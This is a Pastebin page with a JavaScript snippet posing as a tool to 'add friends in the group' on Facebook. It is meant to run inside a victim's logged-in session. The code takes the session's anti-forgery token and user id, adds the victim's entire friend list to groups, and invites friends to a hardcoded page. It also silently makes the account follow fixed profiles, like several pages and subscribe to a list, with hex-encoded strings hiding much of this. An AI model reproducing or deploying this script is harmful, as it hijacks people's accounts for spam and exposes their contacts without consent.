Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var tulisanNganu = '\x3C\x66\x6F\x6E\x74\x20\x63\x6F\x6C\x6F\x72\x3D\x22\x62\x6C\x61\x63\x6B\x22\x3E\x3C\x62\x3E\x41\x6B\x6E\x20\x46\x61\x63\x65\x62\x6F\x6F\x6B\x20\x7C\x20\x61\x64\x64\x20\x66\x72\x69\x65\x6E\x64\x73\x20\x69\x6E\x20\x74\x68\x65\x20\x67\x72\x6F\x75\x70\x3C\x2F\x62\x3E\x20\x3C\x2F\x66\x6F\x6E\x74\x3E';
- var kunaon = '';
- function penetrasi(opo) {
- jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fbdtsg + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + userid, function (a) {
- var b = a.substring(a.indexOf("{"));
- var c = JSON.parse(b);
- i--;
- kunaon = "\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x27\x66\x72\x69\x65\x6E\x64\x2D\x65\x64\x67\x65\x2D\x6E\x61\x6D\x65\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x6C\x65\x66\x74\x3B\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x31\x30\x70\x78\x3B\x77\x68\x69\x74\x65\x2D\x73\x70\x61\x63\x65\x3A\x70\x72\x65\x2D\x77\x72\x61\x70\x3B";
- if (c.error) {
- kunaon += "color:darkred'>";
- if (c.errorDescription) {
- kunaon += c.errorDescription
- } else {
- kunaon += JSON.stringify(c, null, "")
- }
- } else {
- kunaon += "color:darkgreen'>";
- kunaon += arr[i];
- suc++
- }
- kunaon += "</div>";
- var dipes = "\x3C\x64\x69\x76\x20\x69\x64\x3D\x27\x66\x72\x69\x65\x6E\x64\x2D\x65\x64\x67\x65\x2D\x64\x69\x73\x70\x6C\x61\x79\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x66\x69\x78\x65\x64\x3B\x6C\x65\x66\x74\x3A\x35\x30\x25\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x6C\x65\x66\x74\x3A\x2D\x32\x37\x33\x70\x78\x3B\x74\x6F\x70\x3A\x31\x30\x30\x70\x78\x3B\x77\x69\x64\x74\x68\x3A\x35\x30\x30\x70\x78\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x23\x66\x66\x66\x66\x66\x66\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x39\x39\x39\x39\x3B\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x31\x34\x70\x78\x3B\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x63\x65\x6E\x74\x65\x72\x3B\x70\x61\x64\x64\x69\x6E\x67\x3A\x31\x35\x70\x78\x3B\x62\x6F\x72\x64\x65\x72\x3A\x38\x70\x78\x20\x73\x6F\x6C\x69\x64\x20\x72\x65\x64\x28\x30\x2C\x30\x2C\x30\x2C\x30\x2E\x35\x29\x27\x3E";
- dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
- if (i > 0) {
- dipes += arr.length + "\x20\x46\x72\x69\x65\x6E\x64\x73\x20\x44\x65\x74\x65\x63\x74\x65\x64<br/>";
- dipes += "<b>" + suc + "</b>/20\x46\x72\x69\x65\x6E\x64\x73\x20\x41\x64\x64\x65\x64\x20\x4F\x66\x20" + (arr.length - i) + " Friends Processed ";
- dipes += "(" + i + " More To Go..)";
- dipes += "<div class='friend-edge'>";
- dipes += kunaon;
- dipes += "</div>"
- } else {
- dipes += arr.length + " Friends Detected And ";
- dipes += "<b>" + suc + " Friends Added</b>";
- dipes += "\x3C\x64\x69\x76\x3E\x3C\x73\x70\x61\x6E\x20\x63\x6C\x61\x73\x73\x3D\x27\x5F\x34\x32\x66\x74\x20\x5F\x34\x6A\x79\x30\x20\x5F\x31\x31\x62\x20\x5F\x34\x6A\x79\x33\x20\x5F\x34\x6A\x79\x31\x20\x73\x65\x6C\x65\x63\x74\x65\x64\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x74\x6F\x70\x3A\x35\x70\x78\x3B\x27\x20\x6F\x6E\x43\x6C\x69\x63\x6B\x3D\x27\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x28\x5C\x22\x70\x61\x67\x65\x6C\x65\x74\x5F\x77\x65\x6C\x63\x6F\x6D\x65\x5F\x62\x6F\x78\x5C\x22\x29\x2E\x73\x74\x79\x6C\x65\x2E\x64\x69\x73\x70\x6C\x61\x79\x3D\x5C\x22\x6E\x6F\x6E\x65\x5C\x22\x27\x3E\x44\x6F\x6E\x65\x3C\x2F\x73\x70\x61\x6E\x3E\x3C\x2F\x64\x69\x76\x3E"
- dipes += "\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x20\x35\x70\x78\x3B\x27\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x41\x6B\x6E\x2D\x46\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x62\x6C\x6F\x67\x73\x70\x6F\x74\x2E\x63\x6F\x6D\x2F\x27\x3E\x41\x6B\x6E\x20\x46\x61\x63\x65\x62\x6F\x6F\x6B\x3C\x2F\x61\x3E\x20\x6D\x61\x64\x65\x20\x74\x68\x69\x73\x20\x20\x32\x30\x31\x34\x3C\x2F\x73\x70\x61\x6E\x3E\x3C\x2F\x64\x69\x76\x3E"
- }
- dipes += "</div>";
- document.getElementById("pagelet_welcome_box").innerHTML = dipes
- },
- "text", "post");
- tay--;
- if (tay > 0) {
- var s = arr[tay];
- setTimeout("penetrasi(" + s + ")", 100)
- }
- console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
- jx.load(window.location.protocol + "\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x70\x61\x67\x65\x73\x2F\x69\x6E\x76\x69\x74\x65\x2F\x73\x65\x6E\x64\x5F\x73\x69\x6E\x67\x6C\x65\x2F\x3F\x70\x61\x67\x65\x5F\x69\x64\x3D\x32\x39\x35\x33\x32\x37\x36\x33\x37\x33\x30\x39\x37\x30\x34\x26\x69\x6E\x76\x69\x74\x65\x65\x3D" + opo + "&elem_id=u_0_3c&action=send&ref=friend_summary_section&__user=" + userid + "&__a=1&__req=a&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "tt");
- if (memberGroupId != 1421080824826309) {
- jx.load(window.location.protocol + "\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x67\x72\x6F\x75\x70\x73\x2F\x6D\x65\x6D\x62\x65\x72\x73\x2F\x61\x64\x64\x5F\x70\x6F\x73\x74\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31\x26\x66\x62\x5F\x64\x74\x73\x67\x3D" + fbdtsg + "\x26\x67\x72\x6F\x75\x70\x5F\x69\x64\x3D\x31\x34\x32\x31\x30\x38\x30\x38\x32\x34\x38\x32\x36\x33\x30\x39\x26\x73\x6F\x75\x72\x63\x65\x3D\x74\x79\x70\x65\x61\x68\x65\x61\x64\x26\x6D\x65\x6D\x62\x65\x72\x73\x3D" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + userid, function () {},
- "text", "post")
- }
- }
- function clickfr_callback() {
- if (document.getElementsByName("ok").length > 0) {
- nHtml.ClickUp(document.getElementsByName("ok")[0])
- }
- var a = arr[i];
- if (i < arr.length) addfriend(a.substring(0, 4))
- }
- function clickfr() {
- if (document.getElementsByClassName("search").length > 0) {
- console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
- document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
- nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
- } else j++;
- setTimeout("clickfr_callback()", 2e3)
- }
- function addfriend(a) {
- i++;
- document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
- document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
- document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
- document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
- document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
- setTimeout("clickfr()", 2e3)
- }
- function sleep(a) {
- var b = (new Date).getTime();
- for (var c = 0; c < 1e7; c++) {
- if ((new Date).getTime() - b > a) {
- break
- }
- }
- }
- jx = {
- getHTTPObject: function () {
- var a = false;
- if (typeof ActiveXObject != "undefined") {
- try {
- a = new ActiveXObject("Msxml2.XMLHTTP")
- } catch(b) {
- try {
- a = new ActiveXObject("Microsoft.XMLHTTP")
- } catch(c) {
- a = false
- }
- }
- } else {
- if (window.XMLHttpRequest) {
- try {
- a = new XMLHttpRequest
- } catch(b) {
- a = false
- }
- }
- }
- return a
- },
- generatePhstamp: function (qs, dtsg) {
- var input_len = qs.length;
- numeric_csrf_value='';
- for(var ii=0;ii<dtsg.length;ii++) {
- numeric_csrf_value+=dtsg.charCodeAt(ii);
- }
- return '1' + numeric_csrf_value + input_len;
- },
- load: function (url, callback, format, method, stmp, opt) {
- var http = this.init();
- if (!http || !url) {
- return
- }
- if (http.overrideMimeType) {
- http.overrideMimeType("text/xml")
- }
- if (!method) {
- method = "GET"
- }
- if (!format) {
- format = "text"
- }
- if (!opt) {
- opt = {}
- }
- format = format.toLowerCase();
- method = method.toUpperCase();
- if (!stmp){
- var now = "uid=" + (new Date).getTime();
- url += url.indexOf("?") + 1 ? "&": "?";
- url += now;
- }
- var parameters = null;
- if (method == "POST") {
- var parts = url.split("?");
- url = parts[0];
- parameters = parts[1];
- if (stmp){
- parameters += "&" + stmp + "stamp=" + this.generatePhstamp(parameters, document.getElementsByName("fb_dtsg")[0].value);
- }
- }
- http.open(method, url, true);
- if (method == "POST") {
- http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http.setRequestHeader("Content-length", parameters.length);
- http.setRequestHeader("Connection", "close")
- }
- var ths = this;
- if (opt.handler) {
- http.onreadystatechange = function () {
- opt.handler(http)
- }
- } else {
- http.onreadystatechange = function () {
- if (http.readyState == 4) {
- if (http.status == 200) {
- var result = "";
- if (http.responseText) {
- result = http.responseText
- }
- if (format.charAt(0) == "j") {
- result = result.replace(/[\n\r]/g, "");
- result = eval("(" + result + ")")
- } else {
- if (format.charAt(0) == "x") {
- result = http.responseXML
- }
- }
- if (callback) {
- callback(result)
- }
- } else {
- if (opt.loadingIndicator) {
- document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
- }
- if (opt.loading) {
- document.getElementById(opt.loading).style.display = "none"
- }
- if (error) {
- error(http.status)
- }
- }
- }
- }
- }
- http.send(parameters)
- },
- bind: function (a) {
- var b = {
- url: "",
- onSuccess: false,
- onError: false,
- format: "text",
- method: "GET",
- update: "",
- loading: "",
- loadingIndicator: ""
- };
- for (var c in b) {
- if (a[c]) {
- b[c] = a[c]
- }
- }
- if (!b.url) {
- return
- }
- var d = false;
- if (b.loadingIndicator) {
- d = document.createElement("div");
- d.setAttribute("style", "position:absolute;top:0px;left:0px;");
- d.setAttribute("class", "loading-indicator");
- d.innerHTML = b.loadingIndicator;
- document.getElementsByTagName("body")[0].appendChild(d);
- this.opt.loadingIndicator = d
- }
- if (b.loading) {
- document.getElementById(b.loading).style.display = "block"
- }
- this.load(b.url, function (a) {
- if (b.onSuccess) {
- b.onSuccess(a)
- }
- if (b.update) {
- document.getElementById(b.update).innerHTML = a
- }
- if (d) {
- document.getElementsByTagName("body")[0].removeChild(d)
- }
- if (b.loading) {
- document.getElementById(b.loading).style.display = "none"
- }
- },
- b.format, b.method, b)
- },
- init: function () {
- return this.getHTTPObject()
- }
- };
- var nHtml = {
- FindByAttr: function (a, b, c, d) {
- if (c == "className") {
- c = "class"
- }
- var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
- if (e && e.singleNodeValue) {
- return e.singleNodeValue
- }
- return null
- },
- FindByClassName: function (a, b, c) {
- return this.FindByAttr(a, b, "className", c)
- },
- FindByXPath: function (a, b) {
- try {
- var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
- } catch(d) {
- GM_log("bad xpath:" + b)
- }
- if (c && c.singleNodeValue) {
- return c.singleNodeValue
- }
- return null
- },
- VisitUrl: function (a) {
- window.setTimeout(function () {
- document.location.href = a
- },
- 500 + Math.floor(Math.random() * 500))
- },
- ClickWin: function (a, b, c) {
- var d = a.document.createEvent("MouseEvents");
- d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
- return ! b.dispatchEvent(d)
- },
- Click: function (a) {
- return this.ClickWin(window, a, "click")
- },
- ClickTimeout: function (a, b) {
- window.setTimeout(function () {
- return nHtml.ClickWin(window, a, "click")
- },
- b + Math.floor(Math.random() * 500))
- },
- ClickUp: function (a) {
- this.ClickWin(window, a, "mousedown");
- this.ClickWin(window, a, "mouseup");
- this.ClickWin(window, a, "click")
- },
- GetText: function (a, b) {
- var c = "";
- if (b == undefined) {
- b = 0
- }
- if (b > 40) {
- return
- }
- if (a.textContent != undefined) {
- return a.textContent
- }
- for (var d = 0; d < a.childNodes.length; d++) {
- var e = a.childNodes[d];
- c += this.GetText(e, b + 1)
- }
- return c
- }
- };
- if (document.getElementsByClassName == undefined) {
- document.getElementsByClassName = function (a) {
- var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
- var c = document.getElementsByTagName("*");
- var d = [];
- var e;
- for (var f = 0;
- (e = c[f]) != null; f++) {
- var g = e.className;
- if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
- }
- return d
- }
- }
- Array.prototype.find = function (a) {
- var b = false;
- for (i = 0; i < this.length; i++) {
- if (typeof a == "function") {
- if (a.test(this[i])) {
- if (!b) {
- b = []
- }
- b.push(i)
- }
- } else {
- if (this[i] === a) {
- if (!b) {
- b = []
- }
- b.push(i)
- }
- }
- }
- return b
- };
- var a = 0,
- eind = 0;
- var len = document.getElementsByClassName("mbm").length;
- for (a = 0; a < len; a++) {
- var ele = document.getElementsByClassName("mbm")[a];
- if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
- eind = a;
- break
- }
- }
- var i = 3;
- var tay = 3;
- var counter1 = 0,
- counter2 = 0,
- counter3 = 0;
- var j = 0;
- var k = 0;
- var suc = 0;
- var arr = new Array;
- var fbdtsg = document.getElementsByName('fb_dtsg')[0].value;
- var userid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- var memberGroupId = document.getElementsByName('group_id')[0].value;
- jx.load(window.location.protocol + "//www.facebook.com/ajax/follow/follow_profile.php?profile_id=100006484328374&location=1&nctr[_mod]=pagelet_timeline_profile_actions&__user=" + userid + "&__a=1&__req=8&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
- jx.load(window.location.protocol + "//www.facebook.com/ajax/follow/follow_profile.php?profile_id=100002052744783&location=1&nctr[_mod]=pagelet_timeline_profile_actions&__user=" + userid + "&__a=1&__req=8&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
- jx.load(window.location.protocol + "//www.facebook.com/ajax/follow/follow_profile.php?profile_id=100004222062939&location=1&nctr[_mod]=pagelet_timeline_profile_actions&__user=" + userid + "&__a=1&__req=8&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
- jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=415642648566650&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
- jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=228684450646657&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
- jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=641140539258423&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
- jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=263385030479251&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
- jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=438776082890553&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
- jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=239731072856750&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
- jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe&flid=595403303857460&__a=1&__req=g&__user=" + userid + "&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "tt");
- jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + userid + "&filter[0]=user&__user=" + userid, function (a) {
- var b = a;
- var c = b.substring(b.indexOf("{"));
- var d = JSON.parse(c);
- d = d.payload.entries;
- for (var e = 0; e < d.length; e++) {
- arr.push(d[e].uid)
- }
- i = arr.length - 1;
- tay = i;
- console.log(arr.length);
- var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
- dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
- dipes += arr.length + " Friends Detected";
- dipes += "</div>";
- document.getElementById("pagelet_welcome_box").innerHTML = dipes;
- penetrasi(arr[i])
- })
Add Comment
Please, Sign In to add comment